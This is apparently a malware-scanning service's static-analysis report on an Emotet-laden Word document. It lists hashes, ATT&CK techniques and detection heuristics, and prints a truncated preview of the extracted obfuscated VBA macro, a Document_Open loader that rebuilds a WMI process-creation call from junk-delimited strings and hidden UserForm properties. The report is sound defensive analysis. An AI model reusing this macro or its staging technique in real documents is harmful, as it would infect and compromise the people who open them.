Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 e03cd263fcf6be65…

MALICIOUS

Office (OLE)

228.2 KB Created: 2020-08-12 06:59:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 1f7abed3a9dd450cb8fca559619de84b SHA-1: 3b26f5cab077d75dfd3f5c6237156c4230231f10 SHA-256: e03cd263fcf6be65ee0a382e825e48bb01f7ece276bd3098d067b7c1dba024b6
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet malware. The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' specifically points to this technique. The ClamAV detection also confirms the Emotet family. The VBA script likely downloads and executes a secondary payload, aligning with Emotet's typical behavior.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9286936-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9286936-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4156 bytes
SHA-256: 5c46fff14e9b19a9e71d446419c806ee623b097419b5531a550ae459c40b92b7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "JKJEFvwrzbpqgpgepzv"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
XQZGRxolollaz.FKTXBpbqpknddy
End Sub


Attribute VB_Name = "XQZGRxolollaz"
Attribute VB_Base = "0{9FFCF515-5859-407E-92A4-DAAB9F3292E6}{59EC1D9B-BED0-462A-90FF-A536B7AADD36}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function FKTXBpbqpknddy()
Dim BWSVNsu As Boolean
Dim Ni7 As Integer
For Ni7 = 9 To 1 + 5
DoEvents
Next Ni7
Dim Y0rZv5Í As String
Y0rZv5Í = Replace$("Dr7Êseqt2ÄjGQVO0áS", "Dr7Êseq", "tvaMYrmoEn")
VVAVLzjgstedmn = XQZGRxolollaz.Zoom
Dim qalqj4 As Long
CDEKKklakzlnf = ChrW(VVAVLzjgstedmn + ((30 + 60 + 30) / (4 + 4)))
Dim yhtNIK As String
yhtNIK = Replace$("nKdCkXpeHroHmmAV", "nKdCkX", "vm6åKdYMpZW")
HVXDKjhntuhh = "[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3hw[jhkgab&*$%R s shs qw e21 23 12u3hi[jhkgab&*$%R s shs qw e21 23 12u3hnm[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3hgm[jhkgab&*$%R s shs qw e21 23 12u3ht[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3h" + CDEKKklakzlnf + "[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3h:[jhkgab&*$%R s shs qw e21 23 12u3hw[jhkgab&*$%R s shs qw e21 23 12u3hin[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3h3[jhkgab&*$%R s shs qw e21 23 12u3h2[jhkgab&*$%R s shs qw e21 23 12u3h_[jhkgab&*$%R s shs qw e21 23 12u3h" + XQZGRxolollaz.KCXRNugotcqlsubuwa + "[jhkgab&*$%R s shs qw e21 23 12u3hro[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3hce[jhkgab&*$%R s shs qw e21 23 12u3hs[jhkgab&*$%R s shs qw e21 23 12u3hs[jhkgab&*$%R s shs qw e21 23 12u3h"
Dim k5ÂIKQgoU As Integer
For k5ÂIKQgoU = 6 To 6 + 8
DoEvents
Next k5ÂIKQgoU
WLDCWghdokjqb = PGJRPofxqjyjhgxbed(HVXDKjhntuhh)
Dim sEIBnP As Integer
For sEIBnP = 2 To 7 + 6
DoEvents
Next sEIBnP
Set GNUXIsrqirwtkjga = CreateObject(WLDCWghdokjqb)
Dim UVabibq As String
UVabibq = Replace$("ycBj1ÖTOSybqjOVnKd", "ycBj1ÖTOSy", "SFSnvA5Õ")
KNPRKtzbvyogvovhsv = XQZGRxolollaz.RALTCahsvzfbdo.ControlTipText
Dim rpeHroH As Integer
For rpeHroH = 4 To 7 + 1
DoEvents
Next rpeHroH
VMRUKwtiymzuyogamy = wr3 + (WLDCWghdokjqb + CDEKKklakzlnf + XQZGRxolollaz.UYKJJmfxzqmruwig.ControlTipText + KNPRKtzbvyogvovhsv)
Dim wvmmrH As Date
UOKTZcejhqlyhavrh = VMRUKwtiymzuyogamy + XQZGRxolollaz.KCXRNugotcqlsubuwa
Dim MpZWoUV As Currency
Set KDLTMbmlkhboulc = LQUWKjgatbtzj(UOKTZcejhqlyhavrh)
Dim CsIPfnFcJ As Integer
For CsIPfnFcJ = 5 To 4 + 1
DoEvents
Next CsIPfnFcJ
yu = Array(assq + "jhiay qyyww", GNUXIsrqirwtkjga. _
Create(RCACHqbllqzu, GPWSJxuyafkde, KDLTMbmlkhboulc), masb1 + ":ghass utq wqgd")
Dim q4ÍwkMhcg As Integer
For q4ÍwkMhcg = 4 To 5 + 6
DoEvents
Next q4ÍwkMhcg
End Function
Function LQUWKjgatbtzj(JGNNVtdlspweq)
Set LQUWKjgatbtzj = CreateObject(JGNNVtdlspweq)
Dim OyVTtsivo As Byte
LQUWKjgatbtzj. _
showwindow = CEBHRozupsdngupgbh + MDKXSthiadcqsjgwcoh
Dim Y1áM As Integer
For Y1áM = 1 To 7 + 3
DoEvents
Next Y1áM
End Function
Function PGJRPofxqjyjhgxbed(YAMVRctkplgfnpv)
EAARWrwmjpuszllyp = YAMVRctkplgfnpv
Dim L4áNd6Ámj As Byte
ITALBzsztbbayeag = Split _
(EAARWrwmjpuszllyp, "[jhkgab&*$%R s shs qw e21 23 12u3h")
Dim BXimg3Í As Integer
For BXimg3Í = 9 To 1 + 3
DoEvents
Next BXimg3Í
TQQQZnirxwgmhzric = xz + Join(ITALBzsztbbayeag, cvw)
Dim eqKEGj1ÅnOB As String
eqKEGj1ÅnOB = Replace$("Ssrh6ÈYuMTnpOyVT", "Ssrh6ÈY", "beJuHaVX")
PGJRPofxqjyjhgxbed = TQQQZnirxwgmhzric
Dim Iwwp As Double
End Function
Function RCACHqbllqzu()
j = XQZGRxolollaz.QQHEPozskdkgorb.Pages(vbOK).Tag
Dim mj0Ù As Long
RCACHqbllqzu = PGJRPofxqjyjhgxbed(j)
Dim YB2ÏF4ÛsA As Integer
For YB2ÏF4ÛsA = 7 To 4 + 4
DoEvents
Next YB2
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.